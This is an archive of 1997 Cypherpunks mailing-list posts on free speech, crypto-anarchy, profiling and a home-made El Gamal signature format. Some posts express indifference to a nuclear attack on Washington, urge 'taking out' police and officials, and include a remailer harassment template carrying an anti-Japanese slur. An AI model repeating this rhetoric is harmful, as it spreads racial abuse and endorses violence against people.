(including pointers to the cases about confiscation of Mormon Church property
during the Defense Of Marriage\\\\\\\\\\\anti-polygamy legislation.)

Yates, a case about the legalization of Communism, is at
http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page=298 .
While the primary opinion of the court was as above, the court
unfortunately stopped short of the blazingly absolutist defense of free speech
by Justice Hugo Black (joined by Douglas), in an opinion that partially
concurs and partially dissents, and is therefore only dicta.
	"I believe that the First Amendment forbids Congress to punish people 
	for talking about public affairs, whether or not such discussion
	incites to action, legal or illegal."   ......

It was either this case or cases like it that spurred the
John Birch Society to their calls for impeaching Earl Warren,
even before that pinko compounded his anti-Americanism by
insisting that cops read people their rights and get search warrants.

As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never
heard Tim call for the violent overthrow of the US government.
He's called for a far more dangerous method of getting rid of it
(rendering it obsolete and letting the public catch on at their own speed),
and he's also expressed the position that if a bunch of 
black-hooded thugs invade his house some night he'll defend himself
first and not worry about checking their bodies for stinkin' badges
or designer logos on their backs until the bullets stop flying.  

Not guilty.


				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 30 Nov 1997 15:12:35 +0800
To: Bill Stewart <cypherpunks@toad.com
Subject: Re: Is Tim May guilty of illegally advocating revolution?
In-Reply-To: <v03007807b0a402308a96@[204.254.21.48]>
Message-ID: <v03102801b0a6b13b30f6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:33 PM -0700 11/29/97, Bill Stewart wrote:

>As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never
>heard Tim call for the violent overthrow of the US government.
>He's called for a far more dangerous method of getting rid of it
>(rendering it obsolete and letting the public catch on at their own speed),
>and he's also expressed the position that if a bunch of
>black-hooded thugs invade his house some night he'll defend himself
>first and not worry about checking their bodies for stinkin' badges
>or designer logos on their backs until the bullets stop flying.
>
>Not guilty.

An almost complete summary of my stance.

But Bill left out the third leg of my tripod, that I expect to wake up some
morning and learn that some major city, perhaps Washington, D.C. has been
nuked or bugged.

And, as I am fond of saying, I doubt I'll shed any tears.

(Which got first twisted into "Tim wants to see D.C. nuked) (possibly
true), and then further mutated into "Tim is involved in a conspiracy to
help terrorists destroy major cities" (possibly true)).

Fortunately for me, none of these legs of the tripod are (yet) illegal,
though I gather from what I saw of several of Hettinga's recent foamings
that he thinks they should be.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 30 Nov 1997 12:38:08 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
In-Reply-To: <Pine.BSF.3.91.971129150313.20056A-100000@mcfeely.bsfs.org>
Message-ID: <B6Ryge1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat <wombat@mcfeely.bsfs.org> writes:

> > [I've verified that Dave filters out "poltically incorrect" messages sent
> > to the cypherpunks list, while permitting harrassment of Dr. Grubor]
>
> Harrasment of Dr. Grubor will be a demonstration sport during the next
> Olympic Winter Games.

To verify that Dave Smith filters the contents he doesn't like (and assumes
full responsibility for the content he does pass through), conduct this
simple experiment: try sending an ASCII art article criticial of Timmy
Mayonaise via Dave Smith's bureau42 remailer and see if it shows up.

For example:

To: remailer@bureau42.ml.org

::
Request-Remailing-To: cypherpunks@toad.com
Subject: Re: RSA patent

Timmy C[...] May is a slant-eyed, rice-gibbling jap in a redneck disguise.

             ---._.---
            /    |     \
           /     *      \
          (      @@      )
          /   _/-||-\_   \
         /   '/  ||  \`   \
        /    /   ()   \    \
       /    /|        |\    \
       /   / |        | \   \
      /   / /  o    o  \ \   \
     /   /  (          )  \   \
     <_ ' `--`___'`___'--' ` _>
    /  '~~---   / = \  ---~~`  \
,,,/  /        (  v  )       \  \,,,
\ /  /        @|-' '-|@       \  \ /
 \__/          //////          \__/


Dave Smith bends over for Gary Burnore, Paul Pomes, and the rest
of the Databasix gang.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sun, 30 Nov 1997 06:22:27 +0800
To: cypherpunks@cyberpass.net
Subject: Message
Message-ID: <199711292215.XAA05590@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"On the Internet nobody knows I'm a dog unless I want them to,"
to rephrase a well known cartoon.

Anonymous wrote:

>Cypherpunk technologies will be a major force to eliminate racism.
>With privacy protected transactions, the color of a person's skin, his
>religion and his ethnicity are no longer apparent.

>Cypherpunks need to build bridges to minority communities, to show them
>how these technologies can advance their cause.

Why not set up a website where minority websurfers could go to read about 
privacy issues and how pseudonymity is to their (and everyone's) benefit.  
After all, how can another person discriminate against you when that person 
knows practically nothing about you (e.g., name, age, race, religion, 
geographic location, etc)?  This would be an excellent way to expand 
cypherpunk technologies, don't you think?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 30 Nov 1997 15:22:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: If you fought to defend your country...
In-Reply-To: <3480984B.151F@dev.null>
Message-ID: <v03102803b0a6b4e40d3f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:33 PM -0700 11/29/97, TruthMonger wrote:
>...you fit the 'profile' of the OKC bomber.
>
>Be afraid...be very afraid.

Or tell them to fuck off.

I was stopped by the storm troopers on the Stanford University campus for
this reason--"you fit the profile"--and asked to let them inspect my
briefcase and jacket pockets. I stood my ground and said "No."

Of course, Stanford being private property, they escorted me off the campus.

(However, it was Stanford Sheriffs, representing the (alleged) city of
Stanford, CA, who did the stop-and-escort-off routine, so one wonders about
the lines being blurred between private and governmental functions.)

As computers proliferate, "fitting the profile" is becoming the de facto
way to stop any suspicious persons, or others they want to harass.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 30 Nov 1997 12:43:04 +0800
To: cypherpunks@toad.com
Subject: Re: At night, the ice weasels come...
In-Reply-To: <34803754.42E5@dev.null>
Message-ID: <mRsyge2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger <tm@dev.null> writes:

> http://www.pretext.com/nov97/short3.htm
>
> "Don't get me wrong. I'm not a technophobe. I just think people need to
> practice safe surfing," Cottrell says.
>  "In some ways the Anonymizer is the virtual condom."

What will Cottrell do if someone uses his anonymizer(R)[TM] to connect to
someone's web server many times in a row, requesting the same pages, and
the admins of said server whine about "denial of service" attacks?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Crandall" <jeffden@c2i2.com>
Date: Mon, 1 Dec 1997 02:38:34 +0800
To: "Aunt Donna McLean" <cypherpunks@toad.com>
Subject: Fw: Virus Warning!!  IMPORTANT!!!!
In-Reply-To: <19971130182226.29744.qmail@hotmail.com>
Message-ID: <MAPI.Id.0016.0045464644454e203030303730303037@MAPI.to.RFC822>
MIME-Version: 1.0
Content-Type: text/plain





----------
: Date: Sunday, November 30, 1997 10:22:19
: From: THE.DUKE a.k.a. Perrin
: To: Biscuit; my_bath_tub@innocence.com; parcha@hotmail.com; Jeff Crandall
: (work); deanna@keylink.net; cjensen@smtplink.rockford.edu; yablo@hotmail.com;
: Doug; Here; Denise; flood69@hotmail.com; Goddess; Guipe;
: nailbomb666@hotmail.com; pierre@netins.net; jewlie@nwiowa.com;
: mansonswonka@hotmail.com; jonesy@mindless.com; Luvdust; Me; Wales; Nick;
: Nicole; philip@infospeedway.net; khanshaw@mindspring.com; Ryan; Sara Wilson;
: shandave@hotmail.com; tabnit@hotmail.com; thetigress_@hotmail.com; Tom
: Tindell; Tony Ortega; Yankee1428@aol.com; wrightk@tron.cochise.cc.az.us
: Subject: Virus Warning!!  IMPORTANT!!!!
:
:
:
: --------------------------------------------------------------------
: ****************************************************************
:          WARNING, CAUTION, DANGER, AND BEWARE!
:          Gullibility Virus Spreading over the Internet!
: ****************************************************************
:
:
: WASHINGTON, D.C.--The Institute for the Investigation of Irregular
: Internet Phenomena announced today that many Internet users are
: becoming infected by a new virus that causes them to believe without
: question every groundless story, legend, and dire warning that shows
: up in their inbox or on their browser.  The Gullibility Virus, as it
: is called, apparently makes people believe and forward copies of silly
: hoaxes relating to cookie recipes, email viruses, taxes on modems, and
: get-rich-quick schemes [perhaps conspiracy theories should be included
: here].
:
: "These are not just readers of tabloids or people who buy lottery
: tickets based on fortune cookie numbers," a spokesman said. "Most are
: otherwise normal people, who would laugh at the same stories if told
: to them by a stranger on a street corner."  However, once these same
: people become infected with the Gullibility Virus, they believe
: anything they read on the Internet.
:

: "My immunity to tall tales and bizarre claims is all gone," reported
: one weeping victim.  "I believe every warning message and sick child
: story my friends forward to me, even though most of the messages are
: anonymous."
:
: Another victim, now in remission, added, "When I first heard about
: Good Times, I just accepted it without question.  After all, there
: were dozens of other recipients on the mail header, so I thought the
: virus must be true."  It was a long time, the victim said, before she
: could stand up at a Hoaxees Anonymous meeting and state, "My name is
: Jane, and I've been hoaxed."  Now, however, she is spreading the word.
: "Challenge and check whatever you read,"  she says.
:
: Internet users are urged to examine themselves for symptoms of the
: virus, which include the following:
:
:       * the willingness to believe improbable stories
:          without thinking
:
:       * the urge to forward multiple copies of such
:          stories to others
:
:       * a lack of desire to take three minutes to check
:          to see if a story is true
:
: T. C. is an example of someone recently infected.  He told one
: reporter, "I read on the Net that the major ingredient in almost all
: shampoos makes your hair fall out, so I've stopped using shampoo."
: When told about the Gullibility Virus, T. C. said he would stop
: reading email, so that he would not become infected.
:
: Anyone with symptoms like these is urged to seek help immediately.
: Experts recommend that at the first feelings of gullibility, Internet
: users rush to their favorite search engine and look up the item
: tempting them to thoughtless credence.  Most hoaxes, legends, and tall
: tales have been widely discussed and exposed by the Internet
: community.
:
: Courses in critical thinking are also widely available, and there is
: online help from many sources, including
:
:       * Department of Energy Computer Incident Advisory
:          Capability at
:               <a href=http://ciac.llnl.gov/ciac/CIACHoaxes.html>here</a>
:
:       * Symantec Anti Virus Research Center at
:               <a
: href=http://www.symantec.com/avcenter/index.html>here</a>
:
:       * McAfee Associates Virus Hoax List at
:               <a href=http://www.mcafee.com/support/hoax.html>here</a>
:
:       * Dr. Solomons Hoax Page at
:               <a
: href=http://www.drsolomons.com/vircen/hoax.html>here</a>
:
:       * The Urban Legends Web Site at
:               <a href=http://www.urbanlegends.com>here</a>
:
:       * Urban Legends Reference Pages at
:               <a href=http://www.snopes.com>here</a>
:
:       * Datafellows Hoax Warnings at
:               <a
: href=http://www.Europe.Datafellows.com/news/hoax.htm>here</a>
:
: Those people who are still symptom free can help inoculate themselves
: against the Gullibility Virus by reading some good material on
: evaluating sources, such as
:
:       * Evaluating Internet Research Sources at
:               <a
: href=http://www.sccu.edu/faculty/R_Harris/evalu8it.htm>here</a>
:
:       * Evaluation of Information Sources at
:               <a
: href=http://www.vuw.ac.nz/~agsmith/evaln/evaln.htm>here</a>
:
:       * Bibliography on Evaluating Internet Resources at
:               <a
: href=http://refserver.lib.vt.edu/libinst/critTHINK.HTM>here</a>
:
: Lastly, as a public service, Internet users can help stamp out the
: Gullibility Virus by sending copies of this message to anyone who
: forwards them a hoax.
:
: *******************************************************************
:
: This message is so important, we're sending it anonymously!  Forward
: it to all your friends right away!  Don't think about it!  This is not
: a chain letter!  This story is true!  Don't check it out!  This story
: is so timely, there is no date on it!  This story is so important,
: we're using lots of exclamation points!  For every message you forward
: to some unsuspecting person, the Home for the Hopelessly Gullible will
: donate ten cents to itself.  (If you wonder how the Home will know you
: are forwarding these messages all over creation, you're obviously
: thinking too much.)
:
: *****************************************************************
:    ACT NOW!  DON'T DELAY!  LIMITED TIME!  NOT SOLD IN ANY STORE
: *****************************************************************
:
:
:
: ______________________________________________________
: Get Your Private, Free Email at http://www.hotmail.com
:






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 30 Nov 1997 08:44:15 +0800
To: cypherpunks@Algebra.COM
Subject: Re: The Illusion of Freedom
Message-ID: <199711300035.BAA23280@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Nerthus wrote:
>>"Okay soldier, let's see that pass!"  Is this the treatment accorded
>>to a free man?
>
>Clearly not.  Let me rephrase what I said since it appears it was not
>as obvious as I had thought.
>
>Those who wage war (the politicians/"kings") are rarely the slaves.
>Those who die (the soldiers/citizens) usually are.

Oh, I see what you mean now.  Thanks for the explanation.

>The soldiers and citizens are the pawns and other chessmen on the
>chessboard who are sacrificed to protect the king of their color
>while attempting to checkmate the king of the other color.  All
>chessmen are expendable, except the two kings.  When one of the kings
>is checkmated, the game is over.

Leaving the loser to slouch off toward Doorn, St. Helena, or Asuncion
to die.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 30 Nov 1997 17:50:41 +0800
To: cypherpunks@Algebra.COM
Subject: Death Penalty Expanded
Message-ID: <v03102805b0a6d8a372fc@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




What's next, the death penalty for unregistered crypto?

No doubt Swinestein plans to introduce her own version of this in Amerika.

--Tim

# Date: Mon, 24 Nov 1997 6:43:53 PST
#
#    TAIPEI, Nov 24 (AFP) - Taiwan brought in new heavy penalties
# Monday to curb illegal firearm possession in an effort to tackle a
# rising crime wave here.
#    Under an amended law effective from Monday anyone caught
# manufacturing, selling or transporting illegal firearms faces the
# death penalty. Previously the law stipulated a maximum penalty of
# seven years jail.
#    The move comes just five days after the island's most wanted
# fugitive gave himself up to police.
#    "The amened law is expected to emerge as a deterrent force to
# effectively keep at bay illegal holding of firearms," President Lee
# Teng-hui said.
#    In the past, nearly 80 percent of offenders under the law faced
# only 18 months jail and were often released on parole after serving
# a third of their sentence, official statistics show.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 30 Nov 1997 18:16:43 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Freemen and Serfs
In-Reply-To: <199711260038.BAA09899@basement.replay.com>
Message-ID: <v03102806b0a6dbb52bae@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:38 PM -0700 11/25/97, Anonymous wrote:

>There is a widely held belief that cryptoanarchy is an all or nothing
>proposition; that is, the future can be a glorious cryptoanarchy or a
>dismal police state.  (I think this is Tim May's analysis, but perhaps
>others also contributed.)

This is a common misunderstanding of what I (and others) have written. In
particular, as just one item of many, I've never predicted that there will
be some kind of overall "anarchy" (as normally understood, even in the
anarcho-capitalist sense). Rather, I have predicted (correctly, so far)
that certain people, certain organizations, certain entities will use the
new "degrees of freedom" in anonymous, pseudonymous, untraceable,
unsurveillable communications systems to bypass laws, mores, and dominant
institutions. As we are seeing every day, more and more.

The effect is to to create an environment without government intrusion.
This is what I call crypto anarchy.

>It isn't clear to me that these two environments cannot co-exist in a
>stable equilibrium.  Historically, in many societies which practiced
>slavery, large numbers of people were neither slaves nor slave owners.

Sure, and I've said the same thing many times. The governments of the world
are cracking down on "illegal thoughts," and illegal vegetables, illegal
defense items, illegal television programs, and on and on. At the same
time, bootleg channels are proliferating, copyright is being skirted, money
laundering is exploding, and on and on.

The crackdown has the effect of making the sheeple even more obedient and
making the adventurers (the wolves?) even bolder. Technology works for
those who use it.

Very Nietzscheian.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 30 Nov 1997 09:34:13 +0800
To: cypherpunks@toad.com
Subject: This would also explain AOL...
Message-ID: <199711300115.CAA29691@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.pretext.com/nov97/short4.htm

Mark Grimes: "Why do 39,440 people a month look up "Yahoo" on 
  Yahoo!? Maybe too many ate lead paint as children." 

A recent compilation of the 200 most popular keywords submitted to the 
Yahoo! Search engine offers some insights about the types of individuals 
that prowl the Web.

"Baywatch" babe Pam Anderson racked up 172,760 inquiries in a recent 
month to place 12th--two places behind "weather," 10 places ahead of 
"Microsoft," and 92 slots before "Bob Dole." 

  Janet Reno could fine Pamela an inch a day until she ranks equally
with Bob Dole, as a sex symbol. (3,000,000 places ahead of Reno.)

Good News:
"Metallica" (59) finished just ahead of "real estate" and "stock 
quotes"; at No. 82 "anal sex" was just before "cars" and "USA Today."

Bad News:
"Days of Our Lives" (91) came up more frequently than "marijuana" 
(93) and "Beatles" (111)."

Huh?:
The top 50: sex, chat, Playboy, Netscape software,
nude, porno, games, porn, weather, Penthouse,
Pamela Anderson, pornography, pussy, Persian Kitty,
maps, Halloween, music, adult, chat rooms, erotica,
Microsoft, jokes, shareware, magazines, pictures,
employment, jobs, erotic, gay, Jenny McCarthy,
Netscape, bondage, lingerie, hardcore, Cindy
Crawford, Hustler, ESPN, supermodels, Disney, Star
Wars, girls, movies, Star Trek, mIRC, genealogy,
screen savers, Japan, soccer, and tits. 

  I suppose that a more cynical mind than mine might make much of
the fact that the comma between 'Microsoft' and 'jokes' may well
be a 'typo'.
  As to why both mentions of Netscape's name are followed by a
plethora of requests for information on various forms of sexual
perversion, I would like to point out that I am not the *only*
person who uses Netscape and Yahoo, so it obviously could not
be *totally* due to my search habits.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sun, 30 Nov 1997 18:40:44 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Death Penalty Expanded
In-Reply-To: <v03102805b0a6d8a372fc@[207.167.93.63]>
Message-ID: <199711301037.FAA12434@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102805b0a6d8a372fc@[207.167.93.63]>, on 11/30/97 
   at 03:50 AM, Tim May <tcmay@got.net> said:

>What's next, the death penalty for unregistered crypto?

>No doubt Swinestein plans to introduce her own version of this in
>Amerika.

Well such laws usually have the opposite affect then intended. If gun
possession becomes a capital offence then when the storm troopers come
what does one have to loose by taking out as many as one can. Or even
better yet taking out the criminal ring leaders before they ever get
around to sending their lackeys to your door.


># Date: Mon, 24 Nov 1997 6:43:53 PST
>#
>#    TAIPEI, Nov 24 (AFP) - Taiwan brought in new heavy penalties #
>Monday to curb illegal firearm possession in an effort to tackle a #
>rising crime wave here.
>#    Under an amended law effective from Monday anyone caught #
>manufacturing, selling or transporting illegal firearms faces the # death
>penalty. Previously the law stipulated a maximum penalty of # seven years
>jail.
>#    The move comes just five days after the island's most wanted #
>fugitive gave himself up to police.
>#    "The amened law is expected to emerge as a deterrent force to #
>effectively keep at bay illegal holding of firearms," President Lee #
>Teng-hui said.
>#    In the past, nearly 80 percent of offenders under the law faced #
>only 18 months jail and were often released on parole after serving # a
>third of their sentence, official statistics show.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNIFBr49Co1n+aLhhAQLnKQQAroBqN12GlMJLOAGA2qQSOeQe7otap4Wt
UoRTnQNTbb7DMr6UHDc7PlzHSgiwqsYJU8jNWigjJMZ9672wzRbuQ1HrqD/Y3Tu2
rKy3YKcfMPcbB11XfYmo4vO6uFC0htAB0uBfHdYCfdN2qsX2Ck/ovYG0ygCW2pht
TAhLWImzFWA=
=3h9a
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 30 Nov 1997 11:48:07 +0800
To: cypherpunks@Algebra.COM
Subject: Digital Signatures
Message-ID: <199711300337.EAA14202@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



You can't see it up here, but this is a signed message using a
protocol which is modestly titled "Cantsin Protocol No. 1".
Suggestions for improvement are most welcome.

At the bottom of this message you will find a series of hexadecimal
numbers expressed in ASCII which comprise the signature.  I considered
using ASCII armor or uuencode to store the information, but the
straight numbers are easier to work with.  That is, the components of
the signature are easily manipulated using off the shelf tools such as
Perl.  Also, because certain numbers are freely accessible, the
message is easy to filter without necessarily calling other programs.
It makes it easy to find signed messages using search engines which
are not necessarily aware of encryption protocol formats.

Having the numbers exposed has a nice feel.  It lets you see exactly
what is going on.  It encourages people to investigate the meaning of
the numbers and to think about the information a signature really
conveys.

Cantsin Protocol No. 1 uses El Gamal to sign hashes generated by SHA1.

Executive summary of the signature format:
<Cantsin Protocol No. 1 code> <comments>
<SHA1 hash of public key components>
<SHA1 hash of message>
<offset> <length>
<a>
<b>

The first line is "16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol
No. 1]".  The hexadecimal number was chosen randomly and is the
indicator that this is a Cantsin Protocol No. 1 signature.  The number
was chosen randomly and it is somewhat unlikely that anybody else will
accidently choose it.  The text following the number is just there so
a human reading it will know what they are looking at.  No program
should rely on that text.

The signature begins where the code (i.e., "16A59...") begins - it
need not be preceded by a newline.  (It can be used to sign anything,
in other words.)

The public portion of an El Gamal key consists of three variables p,
g, and y.  p is a large prime, g is a randomly chosen number, and y is
computed using the secret key.  (See "Applied Cryptography" for the
details.  I'm using Schneier's nomenclature.)

Monty Cantsin's public authentication key is:
p: E0D087F3BA00B808E24606F13681AEAE702E2FD49F52DBBFB7B6C67606183FE42466FBB953858C3E618BED52E6EB15A0AFD4607AEA3B4D747A4A3A5D3CDDA0FB5DE59115ACCEC4E1F7A95D81814CF0CB0CA5F2342C809F92533CE1EEE96C352D6116A88B353881B594036C317A0EED2AE62FDEE4A7D8BBF077CCD8702268FD16FBDC7100A35BF9C02D187871B2F727D654174A73A72C2E24C9EA1826322779FDE2E21BF6DF99A895C379362FB45DF54CAE1CD3609DFCF3EC60E8C0513C87FF6EA46083CE1074491EDB63F804DCDCACAE3755739951D2FE22C57601DAD1742AE543209D107A32EAFE45976104190C759E1B50763EA3E3526FED3ED4F567DC00B9
g: 5B4A84924FFF2B5282DA28879EFA3017D316F8B76FF153D2A647C53BF557E68A62C6F644719683C4A249EB9892DC3B2EADCFF55D2BFC371482563CA38D628C35BF717EE3A1CF6BCED68BAFF584C5F2F7163D9154707B39A13622E790ABE5723E4725CFC434488DD2E28C682F7C8A3FF99BA6A7E4A9EFAF35599D674FB0326BD1E36460AEE2752CD485CAA29758BFDF46F31D8614A5F820EE7F570AEA7F3E2ECF94CBB4A9482AF64C5ACC9319FCA2E990B978CC4A023AE82CB8972CE66BC45C4EF3E5BF25349096F46B78D265D39C253FDC4498D52D2283660FA5616DB26D6FED62E4C4509D316577A06DE75BFCA196D77573602F72C634D93121F7E61A480024
y: A7006552F14B2F34E80B79BD51558578771327BA2E758109F28C9C455E620ADF475C8513DF4466717961FC82A979110D8389C9CE740EBFAFB57F53B443F311F62B17814BBC2967DE63879B18B7E22E0998EA6615DF599FB956FE4A5F20BEB26E81F7BFE275FAD9F98E139E31E621229FA525246B30F626B90935B37AF2CB22956419CADBD4FB3A9EAF5E3821D8EA10327167BA1A34D04F6EF23F40F2857F071497398E4DDACAA8840F062433AF29A3705F7CAD7CF5F4F59C56EC7228AE011D372C4DE6D6708971400B70401573E9832142DF5CB56726103093F6290F6EF9E9FAD75A4786917ED6F97862F1D7E66CDCB874981B8DB088B101689FF6103D431824

(This key should not be used for communication.  It is not very well
secured.  Also, I like Adam Back's assertion that authentication keys
should be different from communications keys.)

The second line in the signature is an SHA1 hash of the public key.
The hash is computed on the concatenation of the hexadecimal ASCII
forms of p, g, and y respectively.  There should be no leading zeros.
(Remember to leave off the newline!)

The third line is an SHA1 hash of the message itself.

The fourth line contains an offset and a length to specify the area of
the text which is signed.  The offset is relative to the signature
itself.  That is, the first character of the Cantsin Protocol No. 1
code is at position 0.  As signatures are usually appended, the offset
will usually be the additive inverse of the length.

This is an unobtrusive and highly flexible signature format.  No text
is modified to accommodate the protocol.  No information needs to be
prepended to the text.  This means that signing a document only makes
it longer at the end - the area a reader cares the least about.  You
can sign as often as you like and it won't really matter that much.
This protocol could be used to sign The Declaration of Independence.

Not only that, but it is possible to be highly selective in what is
signed.  The user could sign a portion of a message without modifying
or sabotaging other signatures.  It is completely compatible with
other signature formats.  Not only can you sign the subset of text
which another user signed, but signatures can even overlap.

The last two lines are the signatures themselves.  El Gamal signatures
consist of two values which Schneier calls "a" and "b".

Note that the signature does not contain a time stamp!  Users who want
time stamps can add one in the text.

El Gamal is simple enough that the signature on this message can be
checked using standard Unix tools such as dc version 1.1.  Let's say M
is the SHA1 hash of the message.  It is checked by verifying the truth
of this equation: (y^a * a^b) mod p = g^M mod p.

(dc version 1.1 has an | operator which is used to compute equations
of the from a^b mod n like: a b n |.  The left side of the equation
will be easier to compute if you compute ((y^a mod p) * (a^b mod p))
mod p instead.)

You also need to be able to compute SHA1 hashes.  I've been using
something called "sha1file" which, I believe, originated at Adam
Back's web site.

I have some crude tools for making and verifying these signatures, but
they still need work.  At some point they will be released into the
public domain.

Aside from ordinary message signing, there are at least two good uses
for these signatures.

One is for timestamping services.  Since the signature is unobtrusive,
it would be easy to route a message to all known timestamping
services.  The timestamp can only fail if all timestamping services
fail.  Yet, the message would still be completely readable without any
garbage at the top.

Another is for authenticating messages from the distributed
cypherpunks mailing list machines.  Right now it would be somewhat
ugly to have all three machines signing every message.  But, with this
protocol it just makes each message a little longer.  This would
prevent certain kinds of attack and make it harder to exploit a
compromise of any of the mailing list machines.  (It's harder because
an undeniable trail of inconsistency is left even if the compromiser
has the power to sign messages at will.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Digital Signatures
To: cypherpunks@algebra.com
16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol No. 1]
AF823675BFB992A1CD9CD2EEBC5CDAE4041E6F06
71EA6E4D747292BC2DBF92422A5AF165470E65EC
-1CB9 1CB9
820BA3DF73E2827DC5AAE14232405404B4E998652F813C0D78126D96C018A6053B8D6E7EC209CEE18D465B971A16DF5806C7D12D2CE0D78E54E7B753420859230935CF0992BBDF5083059053328377C928A12434A553D67A6D203C871C0135F0C7DA8DA0122493ACD7B6C96220CA4001558276FB0F1769C4A8CA1E611900A0ED2913885491DDAECB0FA6EAAD11EC47C4A344BC7ED93B9CE9D21F936B1E29EBCC625FE64CBB2B9AE4FA418761279F6D67ABDC986539A77F48AA3E0C85FFEDFED633F706522A9AEA1B9442361DDD3599ECDCA3D663E50A0F19C7B7C8AAB83C35F237CE51C57808C962FFBEEA2CD2C7D032E9CC0E2AB26BC11AD52FA82298777A33
743AC7C48502DBC6918E339C18CF0AB824F09E635DB302D5DC5D1E3DFF616950A7B9C9E4D27B8502112AE76C7FDE993859E2E3CD589110B81E58BB7DD7AC510564ACB974D800A8C64D387AB62CE83D602E6AE9E8D13A488F56F28CB6D479B6F7F06444828246BBF5C014545D516280181EC3E0B964077A696D6A64454AB93E82357A1F558BE726D9BCA459BB59AD1CD7850ED1BB0AEE6CBB651B7B4F34D73D0AF130949F90F67335045EC4B95A8DAB91700A39A5A331AD8227EC8AE9D60320F1839F6ABD2F871DD8F3579A39920792A7EF4C990E2AAB31CD259800255FDE7D467C39EC6E4FF7DF547E9FE3DF5F57C4C304A01B60B6C453F84C5A56FE0D8AAB77






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: CypherPunks Chief SpokesPerson <ccs@dev.null>
Date: Sun, 30 Nov 1997 20:00:47 +0800
To: cypherpunks@toad.com
